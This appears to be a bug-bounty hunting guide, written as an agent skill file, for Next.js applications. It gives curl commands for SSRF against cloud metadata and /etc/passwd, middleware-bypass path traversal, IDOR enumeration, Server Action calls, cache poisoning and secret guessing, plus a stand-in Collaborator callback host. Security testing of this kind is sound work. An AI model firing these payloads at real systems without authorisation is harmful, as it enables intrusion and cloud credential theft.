| name | hunt-nextjs |
| description | Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework. |
| sources | cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories |
| report_count | 0 |
HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
Crown Jewel Targets
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
Highest-value chains:
- Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
- Middleware bypass via
/_next/static/ — middleware skips static asset paths → protected routes accessible via /_next/data/ IDOR
/_next/image SSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
- ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
- RSC payload leakage — React Server Component flight data contains server-side props not meant for client
Attack Surface Signals
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js
Phase 1 — Fingerprint & Version Detection
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
Phase 2 — Server Actions Abuse
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
curl -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
Phase 3 — Middleware Auth Bypass
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
curl -s "https://$TARGET/_next/static/../admin/dashboard"
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
Phase 4 — Image Optimization SSRF (/_next/image)
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
FALSE-POSITIVE GUARD (read before claiming SSRF): /_next/image only
fetches URLs allowed by images.remotePatterns / images.domains in
next.config.js. A non-whitelisted url returns 400 by default — that is
the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A 200
returns an optimized image, not the upstream response body, so a status code
alone NEVER confirms SSRF. Confirm only via an out-of-band callback to a unique
Collaborator subdomain (above), or by body-diffing a known-internal vs
known-external target. Do not report on status code.
Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
through < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative
redirect that trusts the Host header — NOT a /_next/image bug, and it does
NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
Actions surface.
Phase 5 — /_next/data/ IDOR & Data Leakage
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
-H "Cookie: session=VICTIM_SESSION"
for ID in 1 2 3 100 1000; do
curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
curl -s "https://$TARGET/dashboard" | \
python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
Phase 6 — ISR Cache Poisoning
MARK="zqx$(date +%s)"
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
Phase 7 — Debug & Stack Frame Endpoints
Precondition: __nextjs_launch-editor and __nextjs_original-stack-frame
are react-dev-overlay middleware mounted ONLY under next dev. A production
build (next build && next start) does not register these routes — a 404 here
is the normal, expected result, not a "filter" you need to bypass. They are
reachable ONLY in the rare misconfiguration of literally running next dev in
production. Treat any non-404 as the real finding; do NOT report a 404/filtered
response as confirmation.
curl -s -o /dev/null -w "%{http_code}" \
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
--data '{"file":"/etc/passwd","line":1,"column":1}'
Phase 8 — Environment Variable Leakage
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"
Chain Table
| Next.js finding | Chain to | Impact |
|---|
| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
/_next/image SSRF | Cloud metadata → IAM creds | Cloud compromise |
/_next/data/ IDOR | Other users' server-side props | PII / token exfil |
| Middleware bypass | Protected admin routes | Auth bypass |
| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
__NEXT_DATA__ leaks | Server-side secrets in HTML | API keys / tokens |
Validation
✅ Server Action: action executes without valid session, returns data or mutates state
✅ SSRF: DNS/HTTP callback received from /_next/image SSRF
✅ Middleware bypass: 200 response on protected route without auth cookie
✅ Data leak: __NEXT_DATA__ contains non-public secrets or other users' PII
Severity:
- Server Action auth bypass → data mutation: High/Critical
- Image SSRF → cloud metadata: Critical
- Middleware bypass → admin panel: High
- Source map exposure only: Low-Medium